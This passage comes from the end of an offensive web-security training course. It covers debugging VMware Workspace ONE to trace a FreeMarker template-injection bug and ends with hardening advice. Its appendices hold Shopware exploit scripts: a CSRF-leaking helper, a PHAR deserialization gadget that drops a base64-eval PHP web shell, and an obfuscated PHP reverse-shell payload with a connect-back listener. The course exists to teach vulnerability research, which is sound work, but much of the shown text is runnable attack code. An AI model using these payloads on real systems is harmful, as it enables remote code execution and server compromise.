Djava.io.tmpdir=/opt/vmware/horizon/workspace/temp
org.apache.catalina.startup.Bootstrap start
We can use one of the parameters to search for a configuration file that starts this process. One such file is
found at /opt/vmware/horizon/workspace/bin/setenv.sh.
114 / 132
Now, we can edit this file and add our debug stub -
Xrunjdwp:transport=dt_socket,server=y,address=0.0.0.0:8000,suspend=n:
Now, the target service will need to be restarted in order for the port 8000 to be exposed. To do that, we can
execute the command service horizon-workspace restart as root.
Now, you should see port 8000 exposed on the same process that listens on port 443.
The
target appliance uses IP table rules to filter incoming and outgoing requests. We will need to add a rule to
allow incoming requests to port 8000.
To make it persist, I just edited the /etc/systemd/scripts/ip4save file since that is where the rules are
restored from upon startup:
115 / 132
8.3.1. Exercise – Setup the Debug Stub port 443
Follow along and setup the debug stub for port 443. Once you have achieved that, confirm that you can
connect from your target VM and debug the Java process.
116 / 132
Note: Ideally you probably want to match the Java versions to be the exact same, but most of the time as long
as the major version matches then you should be fine. The target is using OpenJDK 8u312:
Now that you know how to setup the debug stub for port 443, attempt to setup the stub for port 9200!
I order for us to debug the application, we will need to get the source code of the target application into a
single jar file so that we can work with it using JD-Eclipse.
117 / 132
First lets package up all of the classes for the horizon-workspace service on our module-5 VM:
cd ~/
mkdir CLASSES
find /opt/vmware/horizon/workspace/ -type d -name "com" -exec cp -R {} CLASSES/ \;
find /opt/vmware/horizon/workspace/ -type d -name "org" -exec cp -R {} CLASSES/ \;
find /opt/vmware/horizon/workspace/ -name "*.jar" -exec unzip -qq -o -d CLASSES/
{} \;
find CLASSES/ -type f ! -name "*.class" -exec rm {} \;
zip -qq -r /home/sshuser/CLASSES.zip CLASSES/
chown sshuser /home/sshuser/CLASSES.zip
Now, from our target VM, we can download the CLASSES.zip, extract and build our jar file. The jar command
is not installed on our module-5 VM, so we will need to perform this action from our target VM:
scp [email protected]:~/CLASSES.zip .
unzip -qq CLASSES
cd CLASSES
jar -cvf ../all.jar *
In the end, you should have a all.jar file that is about 291 Mb in size.
To make things easier, I have decided to include this file on your VM's so that you do not need to go ahead
and perform this process. But I wanted to walk through how you can do this on your own.
118 / 132
Before describing the detailed analysis of the vulnerability, I will show you how the initial vulnerability was
discovered.
I found this vulnerability via black box testing for ; with characters! We can see that the issue comes from the
customError.ftl template when attempting to call eval the errorObj object.
Given that, we need to find the code that handles that template.
/* */ @RequestMapping({"/error"})
/* */ @ApiOperation(value = "sendUnhandledError", notes = "")
/* */ public String sendUnhandledError(HttpServletRequest request,
HttpServletResponse response, Map<String, Object> model) {
/* 102 */ int errorCode =
(request.getAttribute("javax.servlet.error.status_code") == null) ? -1 :
((Integer)request.getAttribute("javax.servlet.error.status_code")).intValue();
/* 103 */ String errorMessage =
(request.getAttribute("javax.servlet.error.message") == null) ? "" :
(String)request.getAttribute("javax.servlet.error.message"); // 1
/* 104 */ String exClass =
(request.getAttribute("javax.servlet.error.exception_type") instanceof Class) ?
((Class)request.getAttribute("javax.servlet.error.exception_type")).getCanonicalNa
me() : "";
/* */
/* */
/* */
/* */
/* 109 */ String errorObj = "{\"code\":\"" + errorCode + "\", \"message\":\""
+ errorMessage + "\"}"; // 2
119 / 132
/* */
/* 111 */ return getErrorPage(request, response, model, errorCode, errorObj,
exClass); // 3
/* */ }
At 1 the code extracts the error messages (which an attacker can potentially inject into) and at [2] the code
builds a json string. At [3] we can see the code that calls getErrorPage
The code at [4] calls handleGenericError with the potentially injected errorMessage:
120 / 132
/* */
/* 231 */ if (errorCode != -1) {
/* 232 */ response.setStatus(errorCode);
/* */ }
/* */
/* 235 */ model.put("errorObj", errorMessage); // 5
/* 236 */ model.put("messageHeader", localizedMessageHeader);
/* 237 */ model.put("genericErrorMsg", localizedMessage);
/* 238 */ model.put("contextPath", request.getContextPath());
/* 239 */ if (isAWJade) {
/* 240 */ WebUtils.markCookiesForDeletion(request, response, new String[] {
"USER_CATALOG_CONTEXT" });
/* 241 */ WebUtils.markCookiesForDeletionWithPath(request, response,
"/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
/* 242 */ model.put("logoutPath",
retrieveServerInitiatedLogoutPath(garnetAndAbove).getName());
/* */ } else {
/* 244 */ StringBuilder logoutUrl = (new
StringBuilder(request.getContextPath())).append("/ui").append("/logout");
/* 245 */ String queryStr = request.getQueryString();
/* 246 */ if (StringUtils.isNotBlank(queryStr)) {
/* */
/* 248 */ queryStr = UrlUtils.encodeQuery(UrlUtils.decode(queryStr));
/* 249 */ logoutUrl.append('?').append(queryStr);
/* */ }
/* 251 */ model.put("logoutPath", logoutUrl.toString());
/* */ }
/* 253 */ return "customError"; // 6
/* */ }
At [5] the code sets the model key errorObj to be the errorMessage. Finally at [6] the code returns the
customError template.
Can you find the customError.ftl file on the filesystem? where is it located?
Hint: Set a breakpoint in the handleGenericError method and observe the errorMessage string.
8.5. Exploitation
121 / 132
So at this stage, we know where the vulnerability is, but we need to find an exploitable path to reach the
vulnerable code.
We know that code that throws an Exception with attacker controlled input will result in FreeMarker
template injection. So we need to investigate how this application is configured.
This class implements the FreeMarker security settings as well as configurable HandleInterceptor classes.
122 / 132
Each of these interceptors are triggered before a URL is accessed. Let's check the
AuthContextPopulationInterceptor class:
At 1 we can see the code gets the deviceUdid from a request parameter and calls withDeviceId to set the
deviceId in the authContextBuilder instance.
Also at 1, the code gets the deviceType from a request parameter the URI and calls withDeviceType to set
the deviceType in the same builder instance.
123 / 132
/* */ public Builder withDeviceId(String deviceId) {
/* 193 */ this.deviceId = deviceId;
/* 194 */ return this;
/* */ }
/* */
/* */ public Builder withDeviceType(String deviceType) {
/* 198 */ this.deviceType = deviceType;
/* 199 */ return this;
/* */ }
/* */ AuthContext(Builder builder) {
/* 34 */ if (!StringUtils.hasText(builder.tenantCode)) {
/* 35 */ throw new InvalidAuthContextException(new Object[0]);
/* */ }
/* */
/* 38 */ this.deviceId = StringUtils.hasText(builder.deviceId) ?
builder.deviceId : null;
/* 39 */ this.deviceType = StringUtils.hasText(builder.deviceType) ?
builder.deviceType : null;
/* 40 */ this.tenantCode = StringUtils.lowerCase(builder.tenantCode);
/* 41 */ this.authorizationToken =
StringUtils.hasText(builder.authorizationToken) ? builder.authorizationToken :
null;
/* 42 */ this.baseUrl = (String)StringUtils.defaultIfBlank(builder.baseUrl,
null);
/* 43 */ this.authorizationTokenRevoked = builder.authorizationTokenRevoked;
/* 44 */ this.userAgent = builder.userAgent;
/* 45 */ this.locale = builder.locale;
/* 46 */ this.authAdapter = builder.authAdapter;
/* 47 */ this.multiHubSupportedDevice = builder.multiHubSupportedDevice;
/* */
/* 49 */ if (!isValidRequest()) { // 3
/* 50 */ throw new InvalidAuthContextException(new Object[] {
this.tenantCode, this.deviceId, this.deviceType,
/* 51 */ Boolean.valueOf(this.authorizationTokenRevoked) }); // 4
/* */ }
/* */ }
If the request is invalid at [3], we can see that InvalidAuthContextException is thrown at [4] with attacker
controlled deviceId (deviceUdid) or deviceType. Let's see how we can return false from isValidRequest:
124 / 132
/* 132 */ private boolean isValidRequest() { return (isBrowserRequest() ||
isNativeAppRequestWithAuthToken()); }
We can satisfy that criteria by setting either the deviceUdid request parameter or the deviceType request
parameter!
As described By ddekany, removing the ?eval call from the customError.ftl template would have been the
best option and replacing it with a json parser such as ?eval_json.
8.7 Hardening
We saw that exploitation was straightforward, because FreeMarker wasn't hardened in this environment.
It's possible to secure FreeMarker several ways. The most common way is to use the
TemplateClassResolver.SAFER_RESOLVER or TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
resolvers for new instances by calling the setNewBuiltinClassResolver on a FreeMarker Configuration.
Find the FreeMarker Configuration for the catalog-portal application. You may need to either search code
or configuration files. Now that you have found it, write a patch that will prevent the instantiation of new
classes and thus, would have prevented our exploit payload.
9. Appendix A
The module 3 script for generating valid a sessionid and CSRF token.
#!/usr/bin/python3
import re
import sys
import requests
def fix_path(path):
if path == "/":
return path
if not path.startswith("/"):
path = "/%s" % path
if not path.endswith("/"):
path = "%s/" % path
return path
126 / 132
def generate_request(cookie, csrf):
return """GET /backend/ProductStream/loadPreview?sort={} HTTP/1.1
Host: target:8080
X-CSRF-Token: %s
Cookie: SHOPWAREBACKEND=%s
Connection: close""" % (csrf, cookie["SHOPWAREBACKEND"])
def main():
if len(sys.argv) != 4:
print("(+) usage %s <target:port> <path> <user:pass>" % sys.argv[0])
print("(+) eg: %s target:8080 / demo:demo" % sys.argv[0])
sys.exit(0)
t = sys.argv[1]
p = fix_path(sys.argv[2])
creds = sys.argv[3]
c = get_cookie(t, p, creds)
print("(+) stage 1 - logged in as %s cookie: %s" % (creds, c))
if c != None:
csrf = leak_csrf(t, p, c)
print("(+) stage 2 - leaked csrf: %s" % csrf)
print("(+) poc request:")
print(generate_request(c, csrf))
if __name__ == '__main__':
main()
10. Appendix B
exercise-19.py:
import re
import sys
import requests
def fix_path(path):
if path == "/":
return path
if not path.startswith("/"):
path = "/%s" % path
if not path.endswith("/"):
path = "%s/" % path
return path
127 / 132
uri = "http://%s%sbackend/Login/login" % (t, p)
d = {
"username" : creds.split(":")[0],
"password" : creds.split(":")[1]
}
r = requests.post(uri, data=d)
m = re.search("SHOPWAREBACKEND=(.{26});", r.headers['set-cookie'])
return { 'SHOPWAREBACKEND' : m.group(1) }
def main():
if len(sys.argv) != 4:
print "(+) usage %s <target:port> <path> <user:pass>" % sys.argv[0]
print "(+) eg: %s target:8080 /shopware/ demo:demo" % sys.argv[0]
sys.exit(0)
t = sys.argv[1]
p = fix_path(sys.argv[2])
creds = sys.argv[3]
c = get_cookie(t, p, creds)
print "(+) stage 1 - logged in as %s cookie: %s" % (creds, c)
if c != None:
csrf = leak_csrf(t, p, c)
print "(+) stage 2 - leaked csrf: %s" % csrf
print "(+) response from attack request: %s" % generate_request(t, p, c,
csrf)
if __name__ == '__main__':
main()
11. Appendix C
<?php
namespace GuzzleHttp\Cookie;
class SetCookie {
// TODO BY THE STUDENT
}
class CookieJar {
// TODO BY THE STUDENT
}
128 / 132
$phar = new \Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('si.txt', 'Full Stack Web Attack');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$o = new FileCookieJar("/var/www/html/media/image/si.php", "<?php
eval(base64_decode($_SERVER[HTTP_SI])); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
?>
12. Appendix D
Template for exercise 25:
#!/usr/bin/python3
import re
import sys
import random
import string
import socket
import requests
import telnetlib
from threading import Thread
def random_str(string_length=10):
"""Generate a random string of fixed length"""
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(string_length))
def build_php_code():
"""Build our shellcode"""
phpkode = ("""<?php
@set_time_limit(0); @ignore_user_abort(1);
@ini_set('max_execution_time',0);""")
129 / 132
phpkode += ("""$dis=@ini_get('disable_functions');""")
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',',
$dis);$dis=explode(',', $dis);""")
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' ))
{$c=$c." 2>&1\\n";} """)
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis))
{$fp=popen($c,'r');""")
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
phpkode +=
("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$p
ipes); """)
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);}
""")
phpkode += ("""@proc_close($handle);}else
if($imARhD('system')and!$kqqI('system',$dis)){ """)
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis))
{ob_start();passthru($c); """)
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){
""")
phpkode += ("""$o=shell_exec($c);}else
if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
phpkode +=
("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}}
""")
phpkode += ("""$nofuncs='no exec functions'; """)
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
""")
phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out =
''; """ % (cb_host, cb_port))
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit')
{break;}else{ """)
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false)
{fwrite($s,$nofuncs); """)
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
phpkode +=
("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d');
""" % (cb_host, cb_port))
phpkode +=
("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1));
""")
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) ==
'exit') { """)
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){
""")
phpkode +=
130 / 132
("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
phpkode += ("""}@socket_close($s);}""")
return phpkode
def handler(cb_port):
print "(+) starting handler on port %d" % cb_port
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", cb_port))
s.listen(1)
conn, addr = s.accept()
print "(+) connection from %s" % addr[0]
t.sock = conn
print "(+) pop thy shell!"
t.interact()
def fix_path(path):
if path == "/":
return path
if not path.startswith("/"):
path = "/%s" % path
if not path.endswith("/"):
path = "%s/" % path
return path
def banner():
return """
\tShopware uploadEsdFileAction Remote Code Execution Vulnerability
\tCVE: zeroday
\tSteven Seeley (mr_me) of Source Incite
"""
def main():
print banner()
global cb_host, cb_port
if len(sys.argv) != 5:
print "(+) usage %s <target:port> <path> <user:pass> <connectback:port>" %
sys.argv[0]
131 / 132
print "(+) eg: %s 192.168.23.165:80 /shopware/ demo:demo
192.168.23.1:1234" % sys.argv[0]
print "(+) eg: %s 192.168.23.164:8080 / demo:demo 192.168.23.1:4444" %
sys.argv[0]
sys.exit(0)
t = sys.argv[1]
p = fix_path(sys.argv[2])
creds = sys.argv[3]
cb_host = sys.argv[4].split(":")[0]
cb_port = int(sys.argv[4].split(":")[1])
c = get_cookie(t, p, creds)
if c != None:
print "(+) stage 1 - logged in as %s" % creds
csrf = leak_csrf(t, p, c)
if csrf != None:
print "(+) stage 2 - leaked csrf: %s" % csrf
print "(+) performing magic..."
s = "%s.pht" % random_str()
if we_can_upload(t, p, c, csrf, s, build_php_code()):
print "....."
if __name__ == '__main__':
main()
132 / 132